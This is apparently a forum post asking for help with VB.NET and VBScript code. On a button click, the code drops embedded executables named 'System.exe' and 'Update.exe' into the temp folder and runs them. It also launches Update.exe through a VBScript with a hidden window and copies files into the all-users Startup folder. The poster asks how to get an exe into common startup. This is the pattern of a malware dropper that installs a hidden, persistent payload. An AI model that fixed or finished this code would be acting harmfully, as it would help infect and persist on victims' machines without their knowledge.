I need help to solve this script:
The problem is simple, can not run VBScript VB8
because it opens with Windows based script host and throws me error.
As you can see here :
I want to run as a normal VBScript script .
Public Class Form1
Dim File As String = "%temp%\Desktop"
Dim Copy As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Dim Paste As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Dim Pegar As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Dim NEA As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe", My.Resources.System)
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe")
IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Update.exe", My.Resources.update)
""""""""""""""""""""""""""Error starts here """"""""""""""""""""""""""""""
IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Desktop & "\net.vbs", My.Resources.net)
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\net.vbs")
""""""""""""""""""""""""End Error""""""""""""""""""""""""""""""""""""
MsgBox("Ok")
Dim aakam As Integer
On Error Resume Next
aakam = 1000
Dim aakam031 As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim akam As String = aakam031 + "System.exe"
IO.File.WriteAllBytes(akam, My.Resources.System)
Process.Start(akam)
If System.IO.File.Exists(File) = True Then
System.IO.File.Copy(File, Copy)
System.IO.File.Copy(File, Paste)
System.IO.File.Copy(File, Pegar)
System.IO.File.Copy(File, NEA)
End If
End Sub
The script of vbscript is:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "Update.exe" & Chr(34), 0
Set WshShell = Nothing
I want that opens like a typical scipt of vbscript. No Windows based script host.
If you know how move a exe to shell:common
startup.
It would be much better to run a vbscript
Thanks.